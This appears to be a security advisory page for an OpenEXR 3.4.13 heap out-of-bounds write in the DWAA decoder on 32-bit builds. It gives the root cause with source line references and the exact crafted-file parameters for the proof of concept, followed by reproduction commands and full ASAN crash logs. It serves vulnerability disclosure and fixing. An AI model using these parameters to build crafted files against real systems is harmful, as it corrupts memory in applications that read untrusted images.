Skip to content

GHSA-6662-fq6f-93mp on CTRL-OS 26.05

Aliases: GHSA-6662-fq6f-93mp

Packages: openexr

Status: Plausible

Advisory Information

Summary

OpenEXR v3.4.13 has an ILP32-only heap out-of-bounds write in the DWAA scanline decode path reached through the public C++ Imf::InputFile::readPixels() API. A crafted DWAA-compressed scanline EXR makes DwaCompressor_initializeBuffers() compute _packedAcBufferSize slightly above 4 GiB. On 32-bit ILP32 builds that value truncates to a 248-byte allocation, but the later AC DEFLATE path trusts the untruncated 64-bit size and asks libdeflate to inflate 1 MiB into the undersized buffer.

Confirmed locally: the original unsanitized ILP32 binary aborts after heap corruption (free(): invalid pointer, rc=134), ASAN reports a heap-buffer-overflow write through libdeflate and DwaCompressor_uncompress() (rc=134), and UBSAN-instrumented ILP32 aborts on the same corrupted decode path (rc=134).

Details

Root cause:

  • sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:219-222: public InputFile::readPixels() enters the scanline reader.
  • sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586: ScanLineProcess::run_decode() calls exr_decoding_run().
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:456-458 and :543-553: EXR_COMPRESSION_DWAA dispatches to internal_exr_undo_dwaa() while decompressing chunk data.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:177-211: the DWAA helper constructs DwaCompressor and calls DwaCompressor_uncompress().
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1283-1291: maxLossyDctAcSize is computed from chunk height and image width.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1403-1409: _packedAcBufferSize stores the 64-bit value, but me->alloc_fn(me->_packedAcBufferSize) takes size_t; on ILP32 it allocates only the low 32 bits.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:897-904: attacker-controlled AC_UNCOMPRESSED_COUNT is checked against the untruncated _packedAcBufferSize.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:927-933: exr_uncompress_buffer() inflates attacker-controlled AC data into _packedAcBuffer.
  • sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:172-189: libdeflate writes into the supplied destination buffer.

PoC geometry and DWA chunk fields:

compression = DWAA_COMPRESSION
storage     = scanline
channel     = one HALF channel named R
width       = 272,696,337
height      = 1
ceilf(width / 8) = 34,087,044
maxLossyDctAcSize = 34,087,044 * 63 * 2 = 4,294,967,544 = 0x1000000f8
ILP32 allocation size = 0x000000f8 = 248 bytes
DWA VERSION = 1 (legacy classifier rules)
AC_COMPRESSION = DEFLATE
AC_UNCOMPRESSED_COUNT = 524,288, so requested inflated AC bytes = 1,048,576
AC_COMPRESSED_SIZE = 1,039 bytes in the generated PoC on this host

Because _packedAcBufferSize remains the untruncated 64-bit value, the guard at internal_dwa_compressor.h:899-901 allows the 1 MiB AC inflate. ASAN confirms the allocation site is internal_dwa_compressor.h:1407 and the write occurs through libdeflate called from internal_dwa_compressor.h:927.

PoC

Package contents

poc.zip contains only the files needed to rebuild, run, and verify the standalone crafted EXR PoC:

poc.zip

report.md
reproduce.sh
repro/build_repro.sh
repro/run_repro.sh
poc_artifacts/poc_dwaa_ac_crash.exr
poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp
logs/original_poc.stdout
logs/original_poc.stderr
logs/original_poc.rc
logs/asan_poc.stdout
logs/asan_poc.stderr
logs/asan_poc.rc
logs/ubsan_poc.stdout
logs/ubsan_poc.stderr
logs/ubsan_poc.rc

Reproduction

Run from the OpenEXR v3.4.13 repository root after the existing ILP32 original/ASAN/UBSAN builds are present:

mkdir -p artifacts/tmp/report18-poc
unzip -o 'report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc.zip' -d artifacts/tmp/report18-poc

artifacts/tmp/report18-poc/repro/build_repro.sh original
artifacts/tmp/report18-poc/repro/build_repro.sh asan
artifacts/tmp/report18-poc/repro/build_repro.sh ubsan

artifacts/tmp/report18-poc/repro/run_repro.sh original
artifacts/tmp/report18-poc/repro/run_repro.sh asan
artifacts/tmp/report18-poc/repro/run_repro.sh ubsan

A top-level helper runs the same sequence:

./reproduce.sh

Expected results:

original -> rc=134, free(): invalid pointer after heap corruption
ASAN    -> rc=134, heap-buffer-overflow in libdeflate/DwaCompressor_uncompress
UBSAN   -> rc=134, abort on the same corrupted decode path

Full original-build output

logs/original_poc.rc:

134

logs/original_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0)
free(): invalid pointer
timeout: the monitored command dumped core

logs/original_poc.stdout is empty.

Full ASAN output

logs/asan_poc.rc:

134

logs/asan_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0)
=================================================================
==3391021==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xd3403fb9 at pc 0x56925d10 bp 0xffa2ef58 sp 0xffa2ef50
WRITE of size 4 at 0xd3403fb9 thread T0
    #0 0x56925d0f in store_machine_word_t_unaligned /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/../common_defs.h:466:1
    #1 0x56925d0f in deflate_decompress_bmi2 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/decompress_template.h:642:5
    #2 0x5691fc71 in dispatch_decomp /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/deflate_decompress.c:1117:9
    #3 0x5690e375 in libdeflate_deflate_decompress_ex /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/deflate_decompress.c:1140:9
    #4 0x5690e375 in libdeflate_zlib_decompress_ex /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/zlib_decompress.c:69:11
    #5 0x5690e375 in exr_uncompress_buffer /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:182:15
    #6 0x56968df2 in DwaCompressor_uncompress /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:927:22
    #7 0x56967b0a in internal_exr_undo_dwaa /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:202:18
    #8 0x5690fce6 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:457:18
    #9 0x5690f6ef in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14
    #10 0x5692e7b7 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14
    #11 0x56763a9f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #12 0x56760c48 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #13 0x56760559 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #14 0x56746b07 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #15 0x56746a36 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #16 0x5673f079 in main /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp:23:12
    #17 0xf7908cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #18 0xf7908d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #19 0x56662a16 in _start (/home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/repro/bin/probe_ilp32_dwaa_ac_inputfile_read_poc_asan+0x9fa16) (BuildId: 071f94f2376fd1b99736a9811c5d32ef85f39ae5)

0xd3403fb9 is located 1 bytes after 248-byte region [0xd3403ec0,0xd3403fb8)
allocated by thread T0 here:
    #0 0x566fa247 in malloc (/home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/repro/bin/probe_ilp32_dwaa_ac_inputfile_read_poc_asan+0x137247) (BuildId: 071f94f2376fd1b99736a9811c5d32ef85f39ae5)
    #1 0x5699375c in internal_exr_alloc /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/memory.c:39:12
    #2 0x5697145d in DwaCompressor_initializeBuffers /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:1407:31
    #3 0x569681a9 in DwaCompressor_uncompress /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa_compressor.h:810:21
    #4 0x56967b0a in internal_exr_undo_dwaa /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_dwa.c:202:18
    #5 0x5690fce6 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:457:18
    #6 0x5690f6ef in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14
    #7 0x5692e7b7 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14
    #8 0x56763a9f in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #9 0x56760c48 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #10 0x56760559 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #11 0x56746b07 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #12 0x56746a36 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #13 0x5673f079 in main /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/probe_ilp32_dwaa_ac_inputfile_read_poc.cpp:23:12
    #14 0xf7908cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/../../../external/deflate/lib/../common_defs.h:466:1 in store_machine_word_t_unaligned
Shadow bytes around the buggy address:
  0xd3403d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3403d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3403e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3403e80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0xd3403f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xd3403f80: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0xd3404000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3404080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3404100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3404180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xd3404200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3391021==ABORTING
timeout: the monitored command dumped core

logs/asan_poc.stdout is empty.

Full UBSAN-instrumented output

logs/ubsan_poc.rc:

134

logs/ubsan_poc.stderr:

reading /home/br0nzu/openexr/v3.4.13/report/18. OpenEXR v3.4.13 ILP32 DWAA InputFile packed AC buffer overflow/poc_artifacts/poc_dwaa_ac_crash.exr via InputFile::readPixels(0,0)
free(): invalid pointer
timeout: the monitored command dumped core

logs/ubsan_poc.stdout is empty.

Impact

Applications that build OpenEXR v3.4.13 for 32-bit ILP32 targets and read attacker-supplied DWAA-compressed EXR files can suffer heap memory corruption during decompression. The demonstrated impact is a crash in the original unsanitized binary and an ASAN-confirmed heap out-of-bounds write through libdeflate. Arbitrary code execution was not proven. LP64 builds are not demonstrated because the _packedAcBuffer allocation is not truncated to 248 bytes on 64-bit platforms.

Updates

2026-08-11 03:50 CEST

Metadata changes:

  • Status for package openexr: “Plausible

2026-08-11 03:32 CEST

Metadata changes:

  • Status for package openexr: “New